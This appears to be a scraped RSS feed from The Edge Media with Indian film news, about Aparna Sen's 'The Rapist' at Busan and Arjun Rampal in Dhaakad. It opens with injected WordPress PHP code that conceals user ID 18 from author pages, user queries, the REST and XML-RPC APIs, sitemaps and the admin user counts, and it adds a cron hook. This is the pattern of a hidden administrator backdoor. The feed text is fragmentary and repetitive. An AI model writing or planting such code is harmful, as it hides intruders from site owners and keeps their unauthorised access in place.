add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Aparna Sen’s “The Rapist” is set to have its world premiere at the 26th Busan International Film Festival appeared first on The Edge Media.
]]>According to the makers, the film aims to look beyond the obvious crime, to “explore not only how it affects the survivors and perpetrators of the crime, but also delves into how one’s idealistic views are drastically altered when the truth hits uncomfortably close to home.”
Sen said apart from trying to explore the inequalities in the social system responsible for giving rise to criminals, what drew her to the story was the “psychology of the three protagonists.”
“Stripping off the layers and the carefully built up facades to get at the person underneath was a fascinating process. Fascinating too was getting the two Indias to come face to face – the India that lives in urban slums with its age-old beliefs, and educated urbane India with its ‘progressive’ value systems,” the director said in a statement.
Sameer Nair, CEO of Applause Entertainment said collaborating with the “Mr. And Mrs. Iyer” helmer for the project was exciting.
“The enthusiasm has only doubled up with a nomination for the Kim Jiseok Award, and a world premiere at the Busan International Film Festival (BIFF), the most celebrated film festival in all of Asia. We’re happy to have partnered with Quest Films and are confident that Aparna’s unique brand of storytelling, especially of complex themes plaguing our society, will resonate with the world audience at large,” Nair said.
Suchhanda Chatterjee and Shubha Shetty of Quest Films Pvt. Ltd. said they decided to come on board as producers the moment they heard its “deeply impactful” story.
“‘The Rapist’ is a reflection of the fault lines in society and it raises a few pertinent questions. We are grateful that Applause Entertainment trusted us and chose to come on board. We are delighted that our film is premiering at the Busan International Film Festival for the world to watch,” the statement read.
Bangladeshi filmmaker Mostofa Sarwar Farooki is also nominated for the Kim Jiseok Award for his latest feature, “No Land′s Man” starring Nawazuddin Siddiqui. The drama, which deals with discrimination and hate crimes based on race, religion, and nationality, has music by AR Rahman.
BIFF is scheduled to take place from October 6 to 15 this year.
The post Aparna Sen’s “The Rapist” is set to have its world premiere at the 26th Busan International Film Festival appeared first on The Edge Media.
]]>The post Arjun Rampal shares pics from the set of Dhaakad appeared first on The Edge Media.
]]>Arjun Rampal, who recently shared adorable photos of himself with his son and girlfriend from Budapest, has begun shooting for Razneesh Razy Ghai’s Dhaakad in the city. The actor shared a behind-the-scene (BTS) photo from the sets of the film. He wrote, “Back on set. Back to work. Feel blessed and filled with Gratitude. Image courtesy @razylivingtheblues (sic).”

The Nail Polish actor has been winning hearts for his good looks since the beginning of his career as a model. Even at 48, Arjun Rampal doesn’t shy away from experimenting with his looks. For Dhaakad, he has coloured his hair platinum blonde. Recently, he shared some photos of his new look on Instagram and his fans couldn’t keep calm. Sharing the photos, he wrote, “A challenging part in a film, needs me to push the envelope. Thank you my brother @aalimhakim for helping me create that & @razylivingtheblues to realise that dream. #Dhaakad #letsbeginagain (sic).”
Written by Chintan Gandhi and Rinish Ravindra, Dhaakad is a spy thriller. Kangana Ranaut will be seen in the role of Agent Agni, while Arjun Rampal will play antagonist Rudraveer. The Razneesh Razy Ghai directorial venture is slated to release on October 1. The film marks screenwriter Ritesh Shah’s first collaboration with Kangana.
The post Arjun Rampal shares pics from the set of Dhaakad appeared first on The Edge Media.
]]>The post Arjun Rampal arrives at NCB office, will be questioned in drugs case appeared first on The Edge Media.
]]>The post Arjun Rampal arrives at NCB office, will be questioned in drugs case appeared first on The Edge Media.
]]>